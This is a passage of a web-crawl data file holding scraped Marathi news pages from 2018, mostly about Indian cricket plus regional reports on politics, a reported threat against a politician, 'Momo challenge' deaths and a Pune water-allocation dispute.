संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00294.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/539551", "date_download": "2018-09-25T17:17:22Z", "digest": "sha1:22MXGRW3OSOXX6GUPANWZUGJTTK3HW5X", "length": 7824, "nlines": 42, "source_domain": "www.tarunbharat.com", "title": "द. आफ्रिकेत मालिका जिंकण्याची भारताला नामी संधी - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » क्रिडा » द. आफ्रिकेत मालिका जिंकण्याची भारताला नामी संधी\nद. आफ्रिकेत मालिका जिंकण्याची भारताला नामी संधी\nवृत्तसंस्था /नवी दिल्ली :\nविराट कोहलीच्या नेतृत्वाखालील भारतीय संघातील प्रचंड गुणवत्ता पाहिली तर हा संघ पुढील महिन्यातील दक्षिण आफ्रिका दौऱयात सहज मालिकाविजय प्राप्त करु शकेल, असा विश्वास माजी भारतीय कर्णधार व 19 वर्षाखालील संघाचा विद्यमान प्रशिक्षक राहुल द्रविडने व्यक्त केला. भारतीय संघ दि. 5 जानेवारीपासून खेळवल्या जाणाऱया पहिल्या कसोटीत दक्षिण आफ्रिकन भूमीत खेळेल. सध्या लंकेविरुद्ध मालिकेत वनडे व टी-20 लढती झाल्यानंतर भारतीय संघ पूर्वनियोजित कार्यक्रमानुसार, लगोलग दक्षिण आफ्रिका दौऱयावर रवाना होणार आहे. त्या पार्श्वभूमीवर, द्रविड वृत्तसंस्थेशी बोलत होता.\nकसोटी क्रिकेटमध्ये सलग 9 मालिकाविजय संपादन केले असल्याने भारतीय संघ अर्थातच उत्तम बहरात आहे. मात्र, दक्षिण आफ्रिकेत दाखल झाल्यानंतर केवळ एकाच सराव सामन्यानंतर त्यांना पहिल्यावहिल्या कसोटीसाठी मैदानात उतरावे लागेल, हे स्पष्ट आहे. ‘सध्याच्या संघातील गुणवत्ता पाहता, दक्षिण आफ्रिकेला नमवण्याची आपल्याला उत्तम संधी असेल. आपल्या संघात दर्जेदार जलद गोलंदाज आहेत. शिवाय, हार्दिक पंडय़ासारखा अष्टपैलू खेळाडूही उपलब्ध आहे. याशिवाय, आवश्यकता भासल्यास जडेजा व अश्विनसारखे दर्जेदार फिरकीपटूही असतील. सध्याच्या संघातील बहुतांशी फलंदाजांना दक्षिण आफ्रिकेत खेळण्याचा सराव असून त्यांच्या गाठीशी 40 ते 50 कसोटी सामन्यांचा अनुभवही आहे’, असे द्रविड याप्रसंगी म्हणाला.\n‘दक्षिण आफ्रिकेत खेळताना काही प्रमाणात दैवही पाठीशी असावे लागते. ते लाभले तर आपल्या संघाला निश्चितच विजयाची आशा असेल’, असे त्याने एका प्रश्नाला उत्तर देताना नमूद केले. भारतीय संघ चॅम्पियन्स चषकानंतर सातत्याने भरगच्च क्रिकेट खेळत असून कर्णधार विराट कोहलीचा अपवाद वगळता अन्य एकाही भारतीय खेळाडूने सलग क्रिकेटवर अजिबात तक्रार नोंदवलेली नाही. अर्थात, याच भरगच्च क्रिकेटमुळे दक्षिण आफ्रिकेला रवाना होत असताना भारतीय संघाचा पुरेसा सराव झालेला नसेल, हे देखील तितकेच स्पष्ट आहे. सध्या सुरु असलेली लंकेविरुद्धची मालिका दि. 24 डिसेंबर रोजी संपत असून त्यानंतर काहीच दिवसांच्या अंतराने भारतीय संघाला दक्षिण आफ्रिकेकडे रवाना व्हावे लागेल, हे ही सुर्यप्रकाशाइतके स्वच्छ आहे.\nसुनील नारायणचे 15 चेंडूतच तडाखेबंद अर्धशतक\nसुरंगाचा सुरुंग, भारत पहिल्या दिवसअखेर 3 बाद 17\nसिंधू ,श्रीकांत, प्रणित सुसाट\nब्रिग्टनकडून मँचेस्टर युनायटेड पराभूत\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00294.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://lokmat.news18.com/news/article-252725.html", "date_download": "2018-09-25T17:07:18Z", "digest": "sha1:OYYBZSD5HKCHYOZAPT22CAG3FDD4K7F6", "length": 11904, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "शिवसेना नेत्या नीलम गोऱ्हे यांना बलात्कार करून जीवे मारण्याची धमकी", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nशिवसेना नेत्या नीलम गोऱ्हे यांना बलात्कार करून जीवे मारण्याची धमकी\n28 फेब्रुवारी : शिवसेनेच्या प्रवक्त्या नीलम गोऱ्हे यांना बलात्कार करून जीवे मारण्याची धमकी देण्यात आली आहे. अत्यंत हीन शब्द वापरून वारंवार जीवे मारण्याची धमकी देण्यात येत आहे.\nनीलम गोऱ्हे यांना 19 तारखेपासून एकाच नंबरवरून काही आक्षेपार्ह मेसेज येत आहेत.\nदरम्यान, याबाबत त्यांनी पुणे आणि मुंबई पोलीस आयुक्तांकडे तक्रार दाखल केली. पोलिसांकडून पुढील तपास सुरू आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला आणि टि्वटरवर फाॅलो करा Follow @ibnlokmattv\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00295.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://mahasports.co.in/jason-roy-created-history-became-the-first-batsman-to-get-out-like-this-in-t20/", "date_download": "2018-09-25T17:02:50Z", "digest": "sha1:I4O3FV5GRCBZ77JJ5C3VLAYN4OYUGJOB", "length": 7953, "nlines": 67, "source_domain": "mahasports.co.in", "title": "अॉब्स्ट्रक्टिंग द फील्ड: अशाप्रकारे आऊट होणारा जेसन रॉय पहिलाच क्रिकेटपटू -", "raw_content": "\nअॉब्स्ट्रक्टिंग द फील्ड: अशाप्रकारे आऊट होणारा जेसन रॉय पहिलाच क्रिकेटपटू\nअॉब्स्ट्रक्टिंग द फील्ड: अशाप्रकारे आऊट होणारा जेसन रॉय पहिलाच क्रिकेटपटू\nकाल इंग्लंड विरुद्ध दक्षिण आफ्रिका सामन्यात इंग्लंडच्या जेसन रॉयला विचित्र पद्धतीने बाद देण्यात आले. अॉब्स्ट्रक्टिंग द फील्ड या नियमाखाली आऊट होणारा तो टी२० क्रिकेट मधील पहिलाच खेळाडू बनला.\n१६व्या षटकात क्रिस मॉरिस गोलंदाजी करत होता. लियाम लिविंगस्टोन पहिला चेंडू बॅकवर्ड पॉइंडच्या दिशेने खेळला त्याठिकाणी क्षेत्ररक्षण करत असलेल्या एंडी फेलुक्वेयोने चेंडू पकडून नॉन स्ट्राइकर एंडला फेकला. रॉय पिचच्या अर्ध्यात धाव घेण्यासाठी पळत आला होता परंतु स्ट्राइकर एंडला असलेल्या लिविंग स्टोनने त्याला परत पाठविले. त्यावेळी एंडी फेलुक्वेयोने फेकलेला चेंडू रॉयच्या बुटांवर लागला.\nत्यावेळी दक्षिण आफ्रिकेचे खेळाडू आणि विशेष करून क्रिस मॉरिस अॉब्स्ट्रक्टिंग द फील्डचा अपील केला. अंपायर माइकल गॉफने हा चेंडू डेड असा घोषित करत दुसऱ्या पंचांशी चर्चा केली. शेवटी थर्ड अंपायरची मदत घ्यायचं ठरलं. निर्णय घ्यायला थर्ड अंपायरने वेळ घेत रॉयला बाद ठरवले.\nरिप्लेमध्ये स्पष्ट दिसत होत की रॉयने परत धावत येताना जाणूनबुजून विरुद्ध बाजूने धावत आला. त्यामुळे थर्ड अंपायरने आऊट असा निर्णय दिला.\nपहा नक्की काय झाले\nयावर इंग्लंडचा अष्टपैलू खेळाडू बेन स्ट्रोक्सने तीव्र नाराजगी व्यक्त केली.\nविशेष म्हणजे या सामन्यात इंग्लंडचा फक्त तीन धावांनी पराभव करत आफ्रिकेने मालिकेत १-१ अशी बरोबरी केली.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00295.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://www.60secondsnow.com/mr/india/two-died-from-due-to-online-killer-game-momo-challenge-in-we-1098788.html", "date_download": "2018-09-25T17:27:01Z", "digest": "sha1:CJ3RY6RHQJX2U6DKQBJGN5PEAAA2T3JX", "length": 6469, "nlines": 48, "source_domain": "www.60secondsnow.com", "title": "‘मोमो’ चॅलेंजमुळे दोघांचा मृत्यू, पश्चिम बंगाल सरकार सतर्क | 60SecondsNow", "raw_content": "\n‘मोमो’ चॅलेंजमुळे दोघांचा मृत्यू, पश्चिम बंगाल सरकार सतर्क\nपश्चिम बंगालमध्ये मोमो चॅलेंज या ऑनलाइन गेममुळे दोन जणांनी आत्महत्या केल्याची घटना समोर आली आहे. या घटनेनंतर पश्चिम बंगाल सरकार सतर्क झालं आहे. राज्य सरकारकडून याबाबतचे दिशा-निर्देश सर्व पोलीस स्थानकांना देण्यात आले असून शाळा-महाविद्यालयातील विद्यार्थ्यांवर लक्ष ठेवण्याचे आदेशही शैक्षणिक संस्थांना देण्यात आले आहेत.\nमोहम्मद शहजादचे शानदार शतक, अफगाणिस्तानचे भारतासमोर 253 धावांचे लक्ष्य\nआशिया कप स्पर्धेतील आजच्या सामन्यात अफगाणिस्तानच्या मोहम्मद शहजादने शानदार शतकीय पारी खेळत अफगाणिस्तानचा डाव सांभाळला आहे. एकीकडे सर्व विकेट पडत असताना शहजाद भारतीय गोलंदाजांची धुलाई करत होता. त्यांने 116 चेंडूत 11 चौकार आणि 7 षटकाराच्या जोरावर 124 धावा केल्या. त्याला मोहम्मद नबीने अर्धशतकीय पारी खेळत चांगली साथ दिली. या दोघांच्या फलंदाजीच्या जोरावर अफगाण टीमने 50 षटकांत 252 धावा केल्या.\nआधार कार्डच्या वैधतेवर उद्या सुप्रीम कोर्टाचा निर्णय\nदीर्घ काळापासून चर्चेचा विषय असलेल्या आधार कार्डच्या वैधानिकतेवरून सर्वोच्च न्यायालय बुधवारी आपला निर्णय देणार आहे. आधारच्या वैधानिकतेला आव्हान देणाऱ्या २७ याचिकांवर सुमारे चार महिन्यांपासून सुनावणी सुरु होती. मॅरेथॉन चर्चेनंतर सर्वोच्च न्यायालयाने मे मध्ये निर्णय सुरक्षित ठेवला होता. या प्रकरणाची सुनावणी जानेवारीमध्ये सुरु झाली होती. त्यानंतर सुमारे ३८ दिवस याप्रकरणी सुनावणी चालली\nनारायण राणेंच्या कट्टर समर्थक आमदाराचे भाजप प्रवेशाचे स्पष्ट संकेत\nस्वतःच्या पोस्टरवर मुख्यमंत्री देवेंद्र फडणवीस यांचा फोटो लावणारे काँग्रेस आमदार कालिदास कोळंबकर यांनी आता भाजपा प्रवेशाचे स्पष्ट संकेत दिलेत. मुख्यमंत्री आपल्या मतदारसंघातले प्रश्न सोडवत असतील, तर त्यांचे आभार मानण्यात गुन्हा तो काय असा उलटप्रश्न त्यांनी विचारलाय. बीडीडी चाळ पुनर्विकास भूमीपूजनाच्या व्यासपीठावर मुख्यमंत्र्यांसोबत असल्यामुळं काँग्रेसच्या होर्डिंगवरून आपले फोटो काढून टाकले.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00295.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "http://amp.esakal.com/pune/demand-mla-dattatray-bharne-release-water-khadakwasla-dam-104469", "date_download": "2018-09-25T16:45:28Z", "digest": "sha1:RBH7AC2QXOCLS4AY2KRCWSVIBX6DVLTE", "length": 10185, "nlines": 55, "source_domain": "amp.esakal.com", "title": "demand of mla dattatray bharne for release of water from khadakwasla dam खडकवासल्यातून पाण्याचे आवर्तन तातडीने सोडण्याची आ. भरणे यांची मागणी | eSakal", "raw_content": "\nखडकवासल्यातून पाण्याचे आवर्तन तातडीने सोडण्याची आ. भरणे यांची मागणी\nराजकुमार थोरात | बुधवार, 21 मार्च 2018\nवालचंदनगर (पुणे) : पुणे महानगरपालिकेच्या मनमानी कारभारामुळे शेतकऱ्यांना खडकवासला प्रकल्पाचे हक्काचे पाणी मिळत नसल्याने खडकवासला कालव्यावरती अवलंबून असणाऱ्या इंदापूर, दौंड व हवेली तालुक्यातील अनेक पाणी पुरवठा योजना बंद पडण्याच्या मार्गावरती असून शेतकऱ्यांची उभी पिके जळण्याची भिती निर्माण झाली असल्याने खडकवासल्याच्या नवीन मुठा उजवा कालव्याचे उन्हाळी हंगामातील आवर्तन तातडीने सोडण्याची मागणी आमदार दत्तात्रेय भरणे यांनी पालकमंत्री व जलसंपदा मंत्र्याकडे केली आहे.\nवालचंदनगर (पुणे) : पुणे महानगरपालिकेच्या मनमानी कारभारामुळे शेतकऱ्यांना खडकवासला प्रकल्पाचे हक्काचे पाणी मिळत नसल्याने खडकवासला कालव्यावरती अवलंबून असणाऱ्या इंदापूर, दौंड व हवेली तालुक्यातील अनेक पाणी पुरवठा योजना बंद पडण्याच्या मार्गावरती असून शेतकऱ्यांची उभी पिके जळण्याची भिती निर्माण झाली असल्याने खडकवासल्याच्या नवीन मुठा उजवा कालव्याचे उन्हाळी हंगामातील आवर्तन तातडीने सोडण्याची मागणी आमदार दत्तात्रेय भरणे यांनी पालकमंत्री व जलसंपदा मंत्र्याकडे केली आहे.\nयासंदर्भात आमदार भरणे यांनी सांगितले की, २०२१ सालापर्यंत पुणे महानगरपालिकेला ११.५० टीएमसी पाण्याचा कोटा मंजूर आहे. मात्र महानगरपालिका प्रत्यक्षात दरवर्षी १६ ते १७ टीएमसी पाण्याचा वापर करीत आहेत. सध्या महानगरपालिकेने ९१० एमएलडी प्रतिमानसी पाणी देणे गरजेचे असताना महानगरपालिका १६५० ते १७०० एमएलडी प्रतिमानसी पाणी देत असल्यामुळे पाण्याचा अतिरिक्त वापर होत आहे. याचा त्रास ग्रामीण भागातील शेतकऱ्यांना सहन करावा लागत आहे.\nउन्हाळ्यामध्ये पाण्याची दोन आवर्तने मिळावीत यासाठी चालू वर्षी रब्बीच्या हंगामामध्ये शेतकऱ्यांनी शेतीच्या पाण्याची बचत केली होती. मात्र महानगरपालिका ठरलेल्या काेठ्यापेक्षा जास्त पाण्याचा वापर करु लागली आहे. जलसंपदा विभागाकडून वारंवार पुणे महानगरपालिकेला पाणी बचत करण्याची सुचना दिल्या जात असतात. मात्र महानगरपालिका मनमानी कारभार करुन जलसंपदा विभागाने बंद केलेले पंप परस्पर सुरु करुन पाणी पुरवठा करीत अाहे.\nमहानगरपालिकेचा अतिरिक्त पाण्याचा वापर शेतकऱ्यांचा मुळावर उठला आहे. खडकवासला प्रकल्पातुन शेतीसाठी पाणी सोडण्यात येत नसल्यामुळे इंदापूर तालुक्यामध्ये तीव्र पाणी टंचाई निर्माण झाली असून शेतकऱ्यांची उभी असलेली उस व इतर पिके जळण्याच्या मार्गावर आहेत. तसेच खडकवासला कालव्यावरती अवलंबून असलेल्या पाणी पुरवठा योजना ही बंद पडण्याच्या मार्गावरत असून तातडीने पाणी सोडण्याची मागणी अामदार दत्तात्रेय भरणे यांनी पालकमंत्री गिरीष बापट व जलसंपदामंत्री विजय शिवतारे यांच्याकडे केली आहे. पाणी सोडण्यास विलंब झाल्यास शेतकरी आंदोलन करण्याच्या तयारीत असल्याचे भरणे यांनी सांगितले.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nउदयनराजेंबाबत शरद पवारांचा 'यॉर्कर' \nसातारा : उदयनराजेंच्या उमेदवारीला सातारा जिल्ह्यातील राष्ट्रवादीच्या आमदारांचा विरोध अशा बातम्या पसरत आहेत. तोपर्यंतच राष्ट्रवादी काँग्रेसचे...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00296.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/SPO-FTF-LCL-first-innings-contract-for-englands-return-england-from-july-3-5866453-NOR.html", "date_download": "2018-09-25T16:35:13Z", "digest": "sha1:WAP2IAQAKLP74LB3DPXW45GN5VHKYC76", "length": 9682, "nlines": 149, "source_domain": "divyamarathi.bhaskar.com", "title": "First innings contract for England's return; England from July 3 | इंग्लंडला पराभवाच्या परतफेडीसाठी काेहली सरेसाेबत करारबद्ध; ३ जुलैपासून इंग्लंड दाैरा", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\nइंग्लंडला पराभवाच्या परतफेडीसाठी काेहली सरेसाेबत करारबद्ध; ३ जुलैपासून इंग्लंड दाैरा\nटीम इंडियाचा कर्णधार विराट काेहली अाता इंग्लंडमध्येच कसून सराव करत यजमानांना गतवर्षीच्या दाैऱ्यातील पराभवाची परतफेड करणा\nनवी दिल्ली - टीम इंडियाचा कर्णधार विराट काेहली अाता इंग्लंडमध्येच कसून सराव करत यजमानांना गतवर्षीच्या दाैऱ्यातील पराभवाची परतफेड करणार अाहे. यासाठी त्याने अाता थेट इंग्लंडमध्येच खेळण्याचा निर्णय घेतला. यातून त्याने नुकताच इंग्लंड काउंटी क्रिकेटमध्ये खेळण्याचा निर्णय घेतला. यामुळे अाता सरे संघासाेबत करारबद्ध झाला अाहे. या संघाकडून अाता ताे काउंटी क्रिकेटमध्ये अापले काैशल्य पणास लावेल. अवघा जून महिना ताे या ठिकाणी खेळणार अाहे. त्यानंतर जुलैमध्ये भारतीय संघ कसाेटी, वनडे अाणि टी-२० मालिकेसाठी इंग्लंडचा दाैरा करेल. दरम्यान, महिनाभरातील खेळण्याचा माेठा फायदा काेहलीला हाेईल.\nयातूनच अापण यजमान इंग्लंडला सहजरीत्या गतवर्षीच्या पराभवाची परतफेड करू शकू, असा विश्वास त्याने व्यक्त केला. काउंटी क्रिकेटसाठी सरे संघाशी करारबद्ध झालेला काेहली हा भारताचा सहावा क्रिकेटपटू ठरला. कसोटी खेळणाऱ्या भारतीय क्रिकेटपटूंमध्ये यावर्षी इंग्लंड काउंटी क्रिकेटमध्ये खेळणारा तो चौथा खेळाडू ठरणार आहे. सध्या चेतेश्वर पुजारा याॅर्कशायर, इशांत शर्मा आणि वरुण अॅराेन हे युवा खेळाडू सध्या अनुक्रमे ससेक्स आणि लिस्टेशायर संघासाठी खेळत आहेत.\n३ जुलैपासून इंग्लंड दाैरा; पाच कसाेटी, तीन वनडेची मालिका\nटीम इंडिया जुलै महिन्यात इंग्लंडचा दाैरा करणार अाहे. या दाैऱ्यात भारतीय संघ यजमान इंग्लंडविरुद्ध ५ कसोटी, ३ वनडे आणि ३ टी २० सामन्यांची मालिका खेळणार अाहे. येत्या ३ जुलैपासून टी-२० मालिकेने या दौऱ्याची सुरुवात होईल. त्यासाठी विराटने जून महिन्यात काउंटी क्रिकेट खेळण्याचा निर्णय घेतला आहे.\nइंग्लंडमधील वैयक्तिक अपयशाला दूर सारणार\nभारताचा कर्णधार विराट काेहलीची आतापर्यंतची इंग्लंडमधील कामगिरी खास अशी झालेली नाही. त्याने इंग्लंडमध्ये ५ कसोटी सामन्यांत १३.४० च्या सरासरीने १३४ धावाच केल्या आहेत. त्यामुळे या दौऱ्याच्या आधी सराव म्हणून विराट सरेकडून काउंटी क्रिकेट खेळणार आहे. ९ जून ते २८ जूनदरम्यान काउंटी क्रिकेटमध्ये सरे संघाचे ३ सामने होणार आहेत. यात सरेचा सामना हॅम्पशायर, सॉमरसेट आणि यॉर्कशायर या तीन संघाशी होणार आहे. या सामन्यांत खेळण्याची काेहलीला संधी मिळेल.\nदहा वर्षांनंतर आशिया कपमध्ये दुसऱ्यांदा भारत आणि पाकिस्तान समोरासमोर\nदाऊदने शारजाहमध्ये कपिलला केली होती कार गिफ्ट करण्याची ऑफर, पाजी म्हणाले होते गेट आऊट..\nभारताची हॅट‌्ट्रिक; दमदार विजय, बांगलादेशला हरवले, रोहित शर्माचे अर्धशतक, जडेजाची धारदार गाेलंदाजी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00296.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://www.collinsdictionary.com/hi/dictionary/german-english/entgegensetzen", "date_download": "2018-09-25T17:57:19Z", "digest": "sha1:OIL3GF4NRR3EPGOOFJSEKQSLGTQ7TMKI", "length": 7080, "nlines": 139, "source_domain": "www.collinsdictionary.com", "title": "Entgegensetzen का अंग्रेजी अनुवाद | कोलिन्स जर्मन-अंग्रेज़ी शब्दकोश", "raw_content": "जर्मन से अंग्रेज़ी शब्दकोश | वीडियो | पर्यायकोश | School | 